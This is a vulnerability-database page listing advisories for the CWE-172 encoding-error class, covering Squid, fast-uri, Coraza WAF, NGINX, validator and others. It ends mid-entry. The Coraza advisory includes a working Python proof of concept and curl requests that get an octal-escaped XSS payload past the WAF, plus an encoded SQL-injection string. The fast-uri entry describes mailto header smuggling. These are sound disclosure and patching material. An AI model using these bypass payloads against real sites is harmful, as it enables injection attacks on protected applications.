CWE-172
Allowed-with-ReviewEncoding Error
Abstraction: Class · Status: Draft
The product does not properly encode or decode the data, resulting in unexpected values.
37 vulnerabilities reference this CWE, most recent first.
GHSA-JH85-MGR3-8F33
Vulnerability from github – Published: 2025-09-26 18:31 – Updated: 2025-09-26 21:30Squid through 7.1 mishandles ASN.1 encoding of long SNMP OIDs. This occurs in asn_build_objid in lib/snmplib/asn1.c.
{
"affected": [],
"aliases": [
"CVE-2025-59362"
],
"database_specific": {
"cwe_ids": [
"CWE-121",
"CWE-172"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-26T16:15:48Z",
"severity": "HIGH"
},
"details": "Squid through 7.1 mishandles ASN.1 encoding of long SNMP OIDs. This occurs in asn_build_objid in lib/snmplib/asn1.c.",
"id": "GHSA-jh85-mgr3-8f33",
"modified": "2025-09-26T21:30:29Z",
"published": "2025-09-26T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59362"
},
{
"type": "WEB",
"url": "https://github.com/squid-cache/squid/pull/2149"
},
{
"type": "WEB",
"url": "https://github.com/Microsvuln/advisories/blob/main/CVE-2025-59362/CVE-2025-59362.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-JVVF-X445-J334
Vulnerability from github – Published: 2026-09-29 23:51 – Updated: 2026-09-29 23:51Impact
fast-uri's mailto scheme parser compares each query field name to the reserved names (to, subject, body) while the name is still percent-encoded, and only percent-decodes it when storing it as a generic header. On serialize, the decoded name is re-emitted, so a field name such as %74o (percent-encoded to) is not recognized as a recipient at parse time (parse().to shows only the legitimate recipient) but materializes as a literal to= field after serialize(), and reparsing then treats it as a recipient. The same technique smuggles subject and body through %73ubject and %62ody.
An application that parses an untrusted mailto URI, makes a display, allowlist, or logging decision on parse().to, then re-serializes the result and passes the serialized string to a mail client or an outbound send path can gain an attacker-chosen recipient, subject, or body that was not visible when the recipient list was checked. A scanner inspecting the raw input for an extra to= sees nothing, because the injected field appears only after fast-uri serializes.
Patches
Upgrade to fast-uri 4.1.5.
Workarounds
Percent-decode and compare mailto field names case-insensitively before trusting parse().to, or re-check the recipient list on the serialized output rather than only on the initial parse, until upgrading.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.3"
},
{
"fixed": "4.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86818"
],
"database_specific": {
"cwe_ids": [
"CWE-172",
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-29T23:51:16Z",
"nvd_published_at": "2026-09-15T11:17:12Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n`fast-uri`\u0027s `mailto` scheme parser compares each query field name to the reserved names (`to`, `subject`, `body`) while the name is still percent-encoded, and only percent-decodes it when storing it as a generic header. On serialize, the decoded name is re-emitted, so a field name such as `%74o` (percent-encoded `to`) is not recognized as a recipient at parse time (`parse().to` shows only the legitimate recipient) but materializes as a literal `to=` field after `serialize()`, and reparsing then treats it as a recipient. The same technique smuggles `subject` and `body` through `%73ubject` and `%62ody`.\n\nAn application that parses an untrusted mailto URI, makes a display, allowlist, or logging decision on `parse().to`, then re-serializes the result and passes the serialized string to a mail client or an outbound send path can gain an attacker-chosen recipient, subject, or body that was not visible when the recipient list was checked. A scanner inspecting the raw input for an extra `to=` sees nothing, because the injected field appears only after `fast-uri` serializes.\n\n### Patches\n\nUpgrade to `fast-uri` 4.1.5.\n\n### Workarounds\n\nPercent-decode and compare mailto field names case-insensitively before trusting `parse().to`, or re-check the recipient list on the serialized output rather than only on the initial parse, until upgrading.",
"id": "GHSA-jvvf-x445-j334",
"modified": "2026-09-29T23:51:16Z",
"published": "2026-09-29T23:51:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-jvvf-x445-j334"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86818"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/commit/f40a88f33e684a46faec3f5b820bcbb1e85add64"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fast-uri"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/releases/tag/v4.1.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-uri vulnerable to mailto header injection via percent-encoded field-name desynchronization"
}
GHSA-PC5Q-QFXP-GGQV
Vulnerability from github – Published: 2026-10-08 17:45 – Updated: 2026-10-08 17:45Summary
The t:jsDecode transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing strconv.ParseInt to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on jsDecode for normalization are enabled.
Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (\ooo) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.
Details
Vulnerable code: internal/transformations/js_decode.go:64-70.
case (i+1 < inputLen) && isodigit(input[i+1]):
/* \OOO (only one byte, \000 - \377) */
buf := make([]byte, 3)
j := 0
for (i+1+j < inputLen) && (j < 3) {
buf[j] = input[i+j] // this should be `input[i+1+j]`
j++
if !isodigit(input[i+j]) {
break
}
}
This is because, when entering octal mode, the loop variable i points to the backslash character \. Before entering octal mode, the pointer does not cross the backslash (unlike in the \u and \x cases, where i+N is used as the index). Line 65 uses input[i+j], so when j=0, the backslash character itself is copied to buf[0]. The subsequent call to strconv.ParseInt(string(buf), 8, 8) will fail because \ is not a valid octal digit; it therefore returns 0 and raises an error (which is silently suppressed by _), resulting in the loss of the bytes that were supposed to be decoded.
For example, Input \163. The loop starts with j=0: buf[0] = input[i+0] = ‘\’ (the backslash itself). The counter j is incremented to 1. Since isodigit(input[i+1]) = isodigit(‘1’) is true, the loop continues. When j=1: buf[1] = input[i+1] = ‘1’. The counter increments to 2; isodigit(input[i+2]) = isodigit(‘6’) is true. At this point, j = 2: buf[2] = input[i+2] = ‘6’. The counter increments to 3, at which point the loop condition j < 3 is no longer satisfied. Final buffer: buf = [‘\’, ‘1’, ‘6’]. The buffer is truncated when j = 2 (because buf[0] = ‘\’ > ‘3’), leaving [‘\’, ‘1’].
This error affects all octal escape sequences (from \000 to \377). Each sequence is decoded and displayed as 0x00 instead of the expected value. For example: \377 is normally decoded as \xff or 255
// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF
PoC
Test Environment
Coraza WAF v3.7.0 is configured to 127.0.0.1:8090, SecRuleEngine is set to On, SecRequestBodyAccess is set to On, and the complete OWASP CRS rule set has been loaded.
PoC Executable Script
#!/usr/bin/env python3
import urllib.request, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"
normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
print(f"[Normal XSS: {normal_url}")
try:
urllib.request.urlopen(normal_url)
print(" Response: 200 ")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
urllib.request.urlopen(octal_url)
print(" Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
output:
Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
Response: 403
Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
Response: 200 (BYPASS)
Proof
- Normal Test
curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E"
< HTTP/1.1 403 Forbidden
< Date: Wed, 01 Jul 2026 16:09:04 GMT
- Bypass Test
curl -v -s "http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
< HTTP/1.1 200 OK
< Date: Wed, 01 Jul 2026 16:09:04 GMT
< Content-Length: 39
< Hello world, transaction not disrupted.
- Log Proof
2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id="<txid>" is_interrupted=false
Impact
Attackers can bypass WAFs that rely on the t:jsDecode transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.
Real-world attack scenarios:
SQL injection bypass. A rule using t:jsDecode received \47\117\122\40\61\75\61 (i.e., ' OR 1=1). This octal string decodes to \0..., so the rule did not match the SQL injection pattern.
Affected Versions
Coraza WAF v3.0.0 - v3.7.0
Resolution
Fixed in internal/transformations/js_decode.go's \OOO octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:
- The reported off-by-one (
buf[j] = input[i+j]→buf[j] = input[i+1+j], with the digit-continuation check updated toinput[i+1+j]accordingly): confirmed and fixed exactly as described above. - A related high-byte clamping bug in the same branch: the decoded value was parsed with
strconv.ParseInt(string(buf), 8, 8)— a signed 8-bit parse. Octal values\200-\377(decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to0x7finstead of their real value. Fixed by parsing as unsigned (strconv.ParseUint(string(buf), 8, 8)), so the full\000-\377range decodes correctly. - A related overflow-saturation bug in the sibling
escapeSeqDecodetransformation (internal/transformations/escape_seq_decode.go), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. UnlikejsDecode,escapeSeqDecode's indexing was already correct, but it parsed octal values withstrconv.ParseUint(input[i+1:i+j], 8, 8)— an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (\0-\777, i.e. up to decimal 511), any value above\377(255) overflows 8 bits, causingstrconv.ParseUintto return an error and a saturated value of0xFFfor every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity'sstrtol(...) & 0xFFreference behavior). Fixed by widening the parse to 16 bits (strconv.ParseUint(input[i+1:i+j], 8, 16)) before truncating to a byte, so\400-\777now wrap to their correct low-byte value instead of all saturating to0xFF.
Verified end-to-end: both PoC payloads from this report now decode correctly —
<\163\143\162\151\160\164> → <script>, and \47\117\122\40\61\75\61 → 'OR 1=1 — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.
Extensive regression tests were added covering the full octal range (including the \200-\377 high-byte range and the \400-\777 overflow range for escapeSeqDecode), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.
Mitigation
Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:
for (i+1+j < inputLen) && (j < 3) {
buf[j] = input[i+1+j]
j++
if i+1+j >= inputLen || !isodigit(input[i+1+j]) {
break
}
}
...
nn, _ := strconv.ParseUint(string(buf), 8, 8)
Severity (revised 2026-10-02)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N (5.8, Medium).
Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour jsDecode emulates, so the request alone triggers the discrepancy. The previous vector (S:U/C:L/I:L, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.
Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.
AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the S:C/I:L impact convention and directed this update.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/corazawaf/coraza/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104774"
],
"database_specific": {
"cwe_ids": [
"CWE-172",
"CWE-193",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:45:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 \u003c inputLen) \u0026\u0026 isodigit(input[i+1]):\n /* \\OOO (only one byte, \\000 - \\377) */\n buf := make([]byte, 3)\n j := 0\n\n for (i+1+j \u003c inputLen) \u0026\u0026 (j \u003c 3) {\n buf[j] = input[i+j] // this should be `input[i+1+j]`\n j++\n if !isodigit(input[i+j]) {\n break\n }\n }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = \u2018\\\u2019 ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(\u20181\u2019)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = \u20181\u2019`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(\u20186\u2019)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = \u20186\u2019`. The counter increments to 3, at which point the loop condition `j \u003c 3` is no longer satisfied. Final buffer: `buf = [\u2018\\\u2019, \u20181\u2019, \u20186\u2019]`. The buffer is truncated when `j = 2` (because `buf[0] = \u2018\\\u2019 \u003e \u20183\u2019`), leaving `[\u2018\\\u2019, \u20181\u2019]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = [\u0027\\\u0027, \u00273\u0027, \u00277\u0027] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8) // nn = 0\n// Correct: buf = [\u00273\u0027, \u00277\u0027, \u00277\u0027] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8) // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) \u003e 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n urllib.request.urlopen(normal_url)\n print(\" Response: 200 \")\nexcept urllib.error.HTTPError as e:\n print(f\" Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n urllib.request.urlopen(octal_url)\n print(\" Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n print(f\" Response: {e.code}\")\n```\noutput:\n```\n Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n\u003c HTTP/1.1 403 Forbidden\n\u003c Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\u003c HTTP/1.1 200 OK\n\u003c Date: Wed, 01 Jul 2026 16:09:04 GMT\n\u003c Content-Length: 39\n\u003c Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"\u003ctxid\u003e\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `\u0027 OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`\u0027s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch \u2014 the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` \u2192 `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` \u2014 a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`\u0027s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` \u2014 an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity\u0027s `strtol(...) \u0026 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly \u2014\n`\u003c\\163\\143\\162\\151\\160\\164\u003e` \u2192 `\u003cscript\u003e`, and `\\47\\117\\122\\40\\61\\75\\61` \u2192 `\u0027OR 1=1` \u2014 so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.\n\nExtensive regression tests were added covering the full octal range (including the `\\200`-`\\377` high-byte range and the `\\400`-`\\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.\n\n### Mitigation\nUpgrade to the patched release once available. If upgrading isn\u0027t immediately possible, the specific code change is:\n\n```go\nfor (i+1+j \u003c inputLen) \u0026\u0026 (j \u003c 3) {\n buf[j] = input[i+1+j]\n j++\n if i+1+j \u003e= inputLen || !isodigit(input[i+1+j]) {\n break\n }\n}\n...\nnn, _ := strconv.ParseUint(string(buf), 8, 8)\n```\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Integrity separately for what is a single inspection bypass.\n\nImpact metrics follow the convention used across Coraza\u0027s WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project\u0027s triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._",
"id": "GHSA-pc5q-qfxp-ggqv",
"modified": "2026-10-08T17:45:53Z",
"published": "2026-10-08T17:45:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2"
},
{
"type": "PACKAGE",
"url": "https://github.com/corazawaf/coraza"
},
{
"type": "WEB",
"url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass"
}
GHSA-V43F-895R-CHHH
Vulnerability from github – Published: 2026-05-13 18:30 – Updated: 2026-05-13 18:30When NGINX Open Source is configured to proxy HTTP/2 traffic by setting proxy_http_version to 2, and also uses proxy_set_body, an attacker may be able to inject frame headers and payload bytes to the upstream peer. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2026-42926"
],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-13T16:16:49Z",
"severity": "MODERATE"
},
"details": "When NGINX Open Source is configured to proxy HTTP/2 traffic by setting proxy_http_version\u00a0to 2, and also uses proxy_set_body, an attacker may be able to inject frame headers and payload bytes to the upstream peer.\u00a0 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-v43f-895r-chhh",
"modified": "2026-05-13T18:30:56Z",
"published": "2026-05-13T18:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42926"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000161131"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VGHF-HV5Q-VC2G
Vulnerability from github – Published: 2025-11-27 06:31 – Updated: 2026-01-31 03:33Versions of the package validator before 13.15.22 are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\uFE0F, \uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "validator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.15.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-12758"
],
"database_specific": {
"cwe_ids": [
"CWE-172",
"CWE-792"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T16:51:42Z",
"nvd_published_at": "2025-11-27T05:16:12Z",
"severity": "HIGH"
},
"details": "Versions of the package validator before 13.15.22 are vulnerable to Incomplete Filtering of One or More Instances of Special Elements in the isLength() function that does not take into account Unicode variation selectors (\\uFE0F, \\uFE0E) appearing in a sequence which lead to improper string length calculation. This can lead to an application using isLength for input validation accepting strings significantly longer than intended, resulting in issues like data truncation in databases, buffer overflows in other system components, or denial-of-service.",
"id": "GHSA-vghf-hv5q-vc2g",
"modified": "2026-01-31T03:33:13Z",
"published": "2025-11-27T06:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12758"
},
{
"type": "WEB",
"url": "https://github.com/validatorjs/validator.js/pull/2616"
},
{
"type": "WEB",
"url": "https://github.com/validatorjs/validator.js/commit/d457ecaf55b0f3d8bd379d82757425d0d13dd382"
},
{
"type": "WEB",
"url": "https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e"
},
{
"type": "PACKAGE",
"url": "https://github.com/validatorjs/validator.js"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2026/Jan/27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Validator is Vulnerable to Incomplete Filtering of One or More Instances of Special Elements"
}
GHSA-WQXC-QRQ4-W5V4
Vulnerability from github – Published: 2021-08-25 21:01 – Updated: 2022-06-15 19:41An issue was discovered in the abi_stable crate before 0.9.1 for Rust. A retain call can create an invalid UTF-8 string, violating soundness.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "abi_stable"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-36213"
],
"database_specific": {
"cwe_ids": [
"CWE-172"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-26T17:18:54Z",
"nvd_published_at": "2021-01-26T18:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in the abi_stable crate before 0.9.1 for Rust. A retain call can create an invalid UTF-8 string, violating soundness.",
"id": "GHSA-wqxc-qrq4-w5v4",
"modified": "2022-06-15T19:41:46Z",
"published": "2021-08-25T21:01:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36213"
},
{
"type": "WEB",
"url": "https://github.com/rodrimati1992/abi_stable_crates/issues/44"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2020-0105.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Update unsound DrainFilter and RString::retain"
}
GHSA-WVVV-6XF9-8F8R
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2022-05-26 00:01A vulnerability in the Secure Sockets Layer (SSL) VPN feature of Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, remote attacker to cause a denial of service (DoS) condition that prevents the creation of new SSL/Transport Layer Security (TLS) connections to an affected device. The vulnerability is due to incorrect handling of Base64-encoded strings. An attacker could exploit this vulnerability by opening many SSL VPN sessions to an affected device. The attacker would need to have valid user credentials on the affected device to exploit this vulnerability. A successful exploit could allow the attacker to overwrite a special system memory location, which will eventually result in memory allocation errors for new SSL/TLS sessions to the device, preventing successful establishment of these sessions. A reload of the device is required to recover from this condition. Established SSL/TLS connections to the device and SSL/TLS connections through the device are not affected. Note: Although this vulnerability is in the SSL VPN feature, successful exploitation of this vulnerability would affect all new SSL/TLS sessions to the device, including management sessions.
{
"affected": [],
"aliases": [
"CVE-2019-12677"
],
"database_specific": {
"cwe_ids": [
"CWE-172",
"CWE-755"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-02T19:15:00Z",
"severity": "MODERATE"
},
